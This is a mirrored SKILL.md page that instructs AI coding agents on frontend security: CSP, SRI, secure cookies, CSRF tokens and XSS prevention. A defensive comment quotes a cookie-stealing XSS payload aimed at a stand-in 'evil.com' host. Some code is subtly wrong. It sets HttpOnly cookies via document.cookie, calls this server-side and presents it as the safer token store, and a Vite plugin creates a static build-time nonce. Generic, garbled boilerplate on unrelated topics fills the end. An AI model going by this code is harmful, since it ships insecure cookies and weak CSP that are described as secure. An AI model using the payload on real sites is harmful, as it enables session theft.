인터페이스는 현지화되어 있으며, Skill 소개와 설명 문서는 선택한 언어로 AI가 자동 번역합니다. 코드·명령어·경로·전문 용어는 원문을 유지하며 원작자 문서가 우선합니다.
Skills 둘러보기
디자인 및 창작 · SKILL.md

frontend-security

frontend-security

Use this skill when the user says 'XSS', 'CSP', 'CSRF', 'SRI', 'secure cookies', 'security headers', 'frontend security', 'sanitize input', 'content security policy', 'cross-site scripting', 'cross-site request forgery', or when auditing frontend security. This skill enforces: CSP headers blocking inline scripts by default, SRI on all external resources, Ht…

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill 문서

GitHub

name: frontend-security description: > Use this skill when the user says 'XSS', 'CSP', 'CSRF', 'SRI', 'secure cookies', 'security headers', 'frontend security', 'sanitize input', 'content security policy', 'cross-site scripting', 'cross-site request forgery', or when auditing frontend security. This skill enforces: CSP headers blocking inline scripts by default, SRI on all external resources, HttpOnly/Secure/SameSite cookies, CSRF tokens on state-changing requests, and output encoding to prevent XSS. Works with any frontend framework. Do NOT use for: backend authentication, server-side SQL injection, network security. version: "2.0.0" author: "j4flmao" license: "MIT" compatibility: claude-code: true cursor: true codex: true windsurf: true tags: [frontend, security, universal]

Frontend Security

Purpose

Prevent XSS, CSRF, and injection attacks. CSP blocks unauthorized scripts. SRI ensures CDN integrity. Cookies locked down. All user output encoded.

Agent Protocol

Trigger

Exact user phrases: "XSS", "CSP", "CSRF", "SRI", "secure cookies", "security headers", "frontend security", "sanitize input", "content security policy", "cross-site scripting".

Input Context

Before activating, verify:

  • The framework and build tool (React, Vue, Vite, Next.js, etc.).
  • Whether the focus is on a new feature, an audit, or a vulnerability fix.

Output Artifact

No file output. Produces security guidance, header configs, or code fixes as text.

Response Format

Issue: {description}
Severity: {critical/high/medium/low}
Config: {code block or header directive}

No preamble. No postamble. No explanations. No filler/hedging/transitions. Compress output — why use many token when few do trick.

Completion Criteria

  • CSP header present and blocks inline scripts (nonce or hash only).
  • SRI hashes on all external CSS/JS resources.
  • Cookies use HttpOnly + Secure + SameSite=Lax or Strict.
  • State-changing requests include CSRF token.
  • All user-supplied data is escaped before rendering (no dangerouslySetInnerHTML without DOMPurify).
  • Input sanitization on all form fields.

Max Response Length

4096 tokens.

Security Architecture / Decision Trees

CSP Strategy Decision Tree

Are inline scripts needed?
  |-- NO (all scripts are separate .js files) -->
  |     CSP: script-src 'self'
  |     Simplest, most secure. No nonce or hash needed.
  |
  |-- YES (inline event handlers, inline <script> tags) -->
  |     |-- Can generate nonce per request? -->
  |     |     YES: script-src 'self' 'nonce-{random}' (nonce-based CSP)
  |     |     NO: script-src 'self' 'sha256-{hash}' (hash-based CSP, static)
  |     |
  |     |-- Use 'strict-dynamic' for modern apps (auto-trusts scripts loaded by trusted scripts)
  |           CSP: script-src 'self' 'nonce-{random}' 'strict-dynamic'

Vulnerability Triage Decision Tree

What type of vulnerability?
  |-- User input rendered as HTML? -->
  |     Threat: XSS
  |     Fix: DOMPurify before dangerouslySetInnerHTML or v-html
  |     Severity: CRITICAL
  |
  |-- External resource loaded (CDN, third-party)? -->
  |     Threat: Compromised CDN serves malicious code
  |     Fix: Add SRI integrity hash + crossorigin attribute
  |     Severity: HIGH
  |
  |-- State-changing request (POST/PUT/DELETE)? -->
  |     Threat: CSRF (cross-site request forgery)
  |     Fix: CSRF token in header or SameSite=Strict cookie
  |     Severity: HIGH
  |
  |-- Cookie contains session data? -->
  |     Threat: Session hijacking via XSS
  |     Fix: HttpOnly + Secure + SameSite=Strict
  |     Severity: CRITICAL
  |
  |-- Third-party script on page (analytics, ads, widgets)? -->
        Threat: Data exfiltration
        Fix: CSP restrict-src, SRI on loaded scripts
        Severity: MEDIUM

Workflow

Step 1: Content Security Policy

<!-- Strict CSP (recommended) -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  object-src 'none';
  base-uri 'none';
  form-action 'self';
">

Step 2: Subresource Integrity

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

Step 3: Secure Cookies

// Server-side cookie config
document.cookie = 'session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400'

// With js-cookie or similar client library — only for non-sensitive cookies
Cookies.set('preference', 'dark', {
  secure: true,
  sameSite: 'lax',
  expires: 365,
})

Step 4: CSRF Protection

// Include CSRF token in fetch
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')

await fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken ?? '',
  },
  body: JSON.stringify({ amount, to }),
})

Step 5: XSS Prevention

// React — default escaping handles most XSS
// But NEVER use dangerouslySetInnerHTML with unsanitized input

import DOMPurify from 'dompurify'

function SafeHtml({ html }: { html: string }) {
  const clean = useMemo(() => DOMPurify.sanitize(html), [html])
  return <div dangerouslySetInnerHTML={{ __html: clean }} />
}

Step 6: Security Headers Checklist

HeaderValuePurpose
Content-Security-Policy(see above)Prevents XSS & data injection
X-Content-Type-OptionsnosniffPrevents MIME sniffing
X-Frame-OptionsDENYPrevents clickjacking
Strict-Transport-Securitymax-age=64672000; includeSubDomainsEnforces HTTPS
Referrer-Policystrict-origin-when-cross-originControls referrer data
Permissions-Policygeolocation=(), camera=()Limits API access

Step 7: CSP Violation Reporting

// Report CSP violations to monitor attacks
const observer = new ReportingObserver(
  (reports) => {
    for (const report of reports) {
      sendToAnalytics('csp-violation', report)
    }
  },
  { types: ['csp-violation'] }
)

observer.observe()

Step 8: Dependency Vulnerability Scanning

# Check for known vulnerabilities in dependencies
npm audit

# Use Snyk or GitHub Dependabot for automated scanning
# Review and update vulnerable packages within 7 days of disclosure

Common Pitfalls

1. CSP with 'unsafe-inline' for Scripts

<!-- BAD -- allows ANY inline script -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">

<!-- GOOD -- nonce-based, only trusted inline scripts execute -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-{random}' 'strict-dynamic'">

2. Forgetting SRI on All External Resources

Third-party CDNs can be compromised. If the CDN serves malicious JS, SRI ensures the browser rejects it. Every external <script> and <link> needs integrity and crossorigin="anonymous".

3. Storing Tokens in localStorage

// BAD -- accessible by any JS on the page (XSS can steal it)
localStorage.setItem('auth-token', token)

// BETTER -- httpOnly cookie (inaccessible by JS)
// Still needs CSRF protection
document.cookie = `session=${token}; HttpOnly; Secure; SameSite=Strict`

4. Trusting Client-Side Validation

Client validation is for UX, not security. Always validate and sanitize on the server. Client-side validation can be bypassed by disabling JS or sending direct HTTP requests.

5. Missing Permissions-Policy

Without Permissions-Policy, any third-party script on the page can request sensitive APIs (geolocation, camera, microphone). Explicitly disable APIs your app doesn't use.

Compared With

MeasureProtection AgainstImplementation DifficultyPerformance Impact
CSPXSS, data injectionMedium0 (browser enforces)
SRICompromised CDNLow0 (hash check)
HttpOnly cookiesSession hijacking via XSSLow0
CSRF tokensCross-site request forgeryMediumNegligible
DOMPurifyXSS via user HTMLLow~0.1ms per sanitize
Permissions-PolicyAPI abuse by third-partyLow0
HSTSSSL strippingLow0

Performance Considerations

  • CSP headers add ~200-500 bytes to response headers (insignificant)
  • SRI hashing adds ~50 bytes per external resource
  • DOMPurify sanitization is fast (~0.1ms per typical HTML string)
  • CSP violation reporting is async and non-blocking
  • No performance sacrifice for security — these measures are essentially free

Accessibility Considerations

  • CSP nonces must be generated server-side and injected into scripts — ensure this works with your SSR/injection pipeline
  • Security error messages should not expose technical details to users
  • CAPTCHA or MFA challenges must be accessible (support keyboard, screen readers)
  • Timeout-based security measures (session expiry) should give users warning before logging them out

Security Considerations

  • CSP 'strict-dynamic' requires all trusted scripts to be loaded by a nonce-trusted script. This breaks scripts injected via innerHTML or DOM APIs — use trusted APIs like createElement + appendChild
  • Service workers can bypass CSP for their own scope — secure SW registration with register() only on HTTPS
  • Third-party scripts loaded via tag managers often bypass CSP — audit what the tag manager loads

Rules

  • CSP must use 'strict-dynamic' for modern apps — no whitelist-based CSP.
  • All external resources must have integrity attribute with SRI hash.
  • Cookies with session data: HttpOnly + Secure + SameSite=Strict.
  • Never render user input as HTML without DOMPurify.
  • CSRF token on every POST/PUT/DELETE from the browser.
  • dangerouslySetInnerHTML is banned unless paired with DOMPurify.

Threat Modeling for Frontend

STRIDE per Attack Surface

ThreatAttack SurfaceMitigation
SpoofingAuth tokens, API identitiesShort-lived JWT, httpOnly cookies, mTLS
TamperingForm data, query params, request bodyServer-side validation, CSRF tokens, SRI
RepudiationUser actions, API callsAudit logging, signed requests
Information DisclosureClient bundle, localStorage, URL paramsMinification, no secrets in client, no PII in URLs
Denial of ServiceForm submissions, API callsRate limiting, CAPTCHA, max input sizes
Elevation of PrivilegeRole/flag manipulationServer-side authorization, signed tokens

Trust Boundaries

// Trust boundary: Client ↔ Server
// Everything on the client is untrusted

// NEVER trust:
// - Client-side validation (UX only, not security)
// - LocalStorage/sessionStorage data (XSS can read it)
// - URL parameters (can be modified by user or referrer)
// - Request headers (can be spoofed)
// - Environment variables exposed to client (NEXT_PUBLIC_*, VITE_*)

// ALWAYS validate server-side:
// - Input sanitization
// - Authorization checks
// - Business logic constraints
// - Rate limiting
// - Session validation

XSS Attack Vectors and Prevention

// XSS Vector 1: Stored XSS
// User submits: <script>document.location='https://evil.com/?c='+document.cookie</script>
// If rendered unsanitized, every visitor's cookies are stolen.
// Prevention: Output encoding + CSP blocking inline scripts

// XSS Vector 2: Reflected XSS
// URL: https://example.com/search?q=<script>alert('xss')</script>
// If the search term is rendered in HTML without encoding.
// Prevention: Always encode output, never trust URL params

// XSS Vector 3: DOM-based XSS
// BAD:
element.innerHTML = userInput;
// GOOD:
element.textContent = userInput; // encodes automatically

// BAD (React):
<div dangerouslySetInnerHTML={{ __html: userHTML }} />
// GOOD (React - with sanitization):
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHTML) }} />

// BAD (Vue):
<div v-html="userHTML" />
// GOOD (Vue - with sanitization):
<div v-html="$sanitize(userHTML)" />

CSP Configuration by Framework

// Next.js CSP via middleware
// middleware.ts
export function middleware(request: NextRequest) {
  const nonce = crypto.randomBytes(16).toString('base64');
  const csp = [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'unsafe-inline'`,
    `img-src 'self' data: https: blob:`,
    `font-src 'self' data:`,
    `object-src 'none'`,
    `base-uri 'none'`,
    `form-action 'self'`,
    `frame-ancestors 'none'`,
    `block-all-mixed-content`,
  ].join('; ');

  const requestHeaders = new Headers(request.headers);
  requestHeaders.set('x-nonce', nonce);

  const response = NextResponse.next({ request: { headers: requestHeaders } });
  response.headers.set('Content-Security-Policy', csp);
  return response;
}
// Vite CSP via HTML transform plugin
// vite.config.ts
import { createHash } from 'crypto';

function cspPlugin() {
  return {
    name: 'csp',
    transformIndexHtml(html: string) {
      const nonce = createHash('sha256').update(Math.random().toString()).digest('base64');
      return html.replace(
        '</head>',
        `<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-${nonce}' 'strict-dynamic'"></head>`
      );
    },
  };
}

Third-Party Script Security

// Loading third-party scripts securely
// 1. Use SRI integrity hashes
// 2. Load with async/defer
// 3. Use trusted types

// Secure Google Analytics loading
const script = document.createElement('script');
script.src = 'https://www.googletagmanager.com/gtag/js?id=G-XXXXX';
script.async = true;
script.integrity = 'sha384-...'; // SRI hash
script.crossOrigin = 'anonymous';
document.head.appendChild(script);

// If CSP is strict-dynamic, third-party scripts loaded by nonce-trusted
// scripts are automatically trusted. But tag managers that inject arbitrary
// scripts bypass this protection.
// Audit tag manager containers before deploying.

// For iframe embeds (YouTube, Twitter):
<iframe
  src="https://www.youtube.com/embed/VIDEO_ID"
  sandbox="allow-scripts allow-same-origin allow-popups"
  loading="lazy"
  title="Video title"
/>
// sandbox restricts: no forms, no popups, no top-navigation

Dependency Security Scanning

# CI/CD security scanning pipeline
# package.json audit
npm audit --audit-level=high

# For projects with many deps: only fail on critical+high
npm audit --audit-level=critical

# Yarn
yarn audit --level high

# Automated scanning in CI
# .github/workflows/security.yml
name: Dependency Security
on: [pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm audit --audit-level=high
      - run: npx snyk test --severity-threshold=high

# Remediation SLA:
# - Critical: 24 hours
# - High: 7 days
# - Medium: 30 days
# - Low: next quarter

Security Testing in CI

// Automated security checks for PRs
// 1. eslint-plugin-security: detect dangerous patterns
// 2. npm audit: known vulnerabilities
// 3. SRI hash checker: verify all external resources have integrity
// 4. CSP evaluator: validate CSP header effectiveness
// 5. OWASP ZAP: DAST scan on staging environment

// ESLint security rules
{
  "plugins": ["security"],
  "rules": {
    "security/detect-object-injection": "error",
    "security/detect-non-literal-regexp": "error",
    "security/detect-unsafe-regex": "error",
    "security/detect-buffer-noassert": "error",
    "security/detect-child-process": "error",
    "security/detect-disable-mustache-escape": "error",
    "security/detect-eval-with-expression": "error",
    "security/detect-no-csrf-before-method-override": "error",
    "security/detect-non-literal-fs-filename": "error",
    "security/detect-pseudoRandomBytes": "warn"
  }
}

Performance Impact of Security

MeasureImpactNotes
CSP header~200-500 bytes added to responseInsignificant
SRI hashing~50 bytes per external resourceNegligible
CSP violation reportingAsync, non-blockingNo user-facing impact
DOMPurify sanitization~0.1-0.5ms per stringSub-millisecond
Nonce generation~0.01ms per request (crypto.randomBytes)Negligible for SSR
mTLS handshake~10-50ms per connectionUse connection pooling
HSTS header~100 bytesZero-impact once cached

References

  • references/csp-implementation.md — CSP Implementation
  • references/csrf-protection.md — CSRF Protection
  • references/dependency-security.md — Dependency Security
  • references/web-security-headers.md — Web Security Headers
  • references/xss-prevention.md — XSS Prevention Guide
  • references/xss-protection.md — XSS Protection

Handoff

No artifact produced. Next skill: authentication — integrate CSRF with auth token flow. Carry forward: CSP nonce strategy, cookie config, CSRF token source.

Implementation Patterns

Observer Pattern for Event Handling

` interface EventObserver { onEvent(event: T): Promise; }

class EventBus { private observers: Set<EventObserver> = new Set(); subscribe(observer: EventObserver): void { this.observers.add(observer); } unsubscribe(observer: EventObserver): void { this.observers.delete(observer); } async emit(event: T): Promise { const results = Array.from(this.observers).map(o => o.onEvent(event)); await Promise.allSettled(results); } } `

Configuration-Driven Approach

config: defaults: timeout: 30s retryCount: 3 overrides: production: timeout: 60s retryCount: 5 development: timeout: 300s retryCount: 1

Production Considerations

Deployment Checklist

  • Configuration validated against schema before startup
  • Health check endpoints registered and monitored
  • Graceful shutdown with draining period (30s timeout)
  • Resource limits configured (CPU, memory, file descriptors)
  • Log level set appropriate for environment
  • Metrics endpoint secured and exposed
  • Rate limiting configured per-tier
  • TLS certificates valid and auto-renewing
  • Database migrations run as separate deployment step
  • Feature flags ready for gradual rollout

Monitoring and Alerting

MetricThresholdSeverityAction
Error rate> 1% over 5minCriticalPage on-call
p99 latency> 2s over 5minWarningInvestigate
Throughput drop> 50% over 1minCriticalCheck upstream
Queue depth> 1000 over 1minWarningScale consumers
Disk usage> 85%WarningClean or expand
Memory usage> 90% heapCriticalRestart or scale

Anti-Patterns

Anti-PatternSymptomRoot CauseSolution
Premature optimizationComplex code for no measured benefitGuessing instead of profilingMeasure first, optimize based on data
Copy-paste reuseDuplicate code across codebaseLack of abstractionExtract shared logic into libraries
Gold-platingFeatures with no current requirementOver-engineeringYAGNI — build what's needed now
Magical thinkingAssumptions without validationSkipping error handlingHandle all failure modes explicitly

Performance Optimization

Caching Strategy

Cache hierarchy: L1 (in-memory local) → L2 (distributed Redis/Memcached) → L3 (CDN/Edge). Cache invalidation: TTL-based (simple, stale), event-based (complex, fresh), write-through (consistent, higher write latency), write-behind (fast writes, eventual consistency).

Resource Pooling

  • Database connections: Pool of reusable connections (HikariCP, pgBouncer)
  • HTTP connections: Keep-alive + connection pooling for external calls
  • Thread pool: Bounded thread pools for async task execution

Profiling Methodology

  1. Establish baseline with production traffic profile
  2. Profile CPU with sampling profiler (pprof, perf, async-profiler)
  3. Profile memory with heap dumps and allocation tracking
  4. Profile I/O with strace/perf trace for syscall analysis
  5. Profile latency with distributed tracing (OpenTelemetry)
  6. Identify bottleneck, formulate hypothesis, implement fix
  7. Re-profile to verify improvement, repeat

Architecture Decision Trees

CSP Strategy Decision Tree

Does the app use inline scripts or eval? ├── No → strict-dynamic + nonce OR hash-based CSP (simplest) └── Yes → Does it use eval for templating? ├── Yes → Migrate away from eval or use unsafe-eval with monitoring └── No → Inline script nonce generation per request Need third-party scripts (analytics, widgets)? ├── Yes → Add specific src allowances for each third-party └── No → Minimal CSP with script-src self

Authentication Token Decision Tree

Is the app server-side rendered? ├── No → SPA with access token in memory + refresh token in HttpOnly cookie └── Yes → Server-managed session cookie (simpler, more secure for SSR) Does the API support token rotation? ├── Yes → Refresh token rotation (refresh token changes on use) └── No → Fixed refresh token with expiry + secure storage

저장한 Skills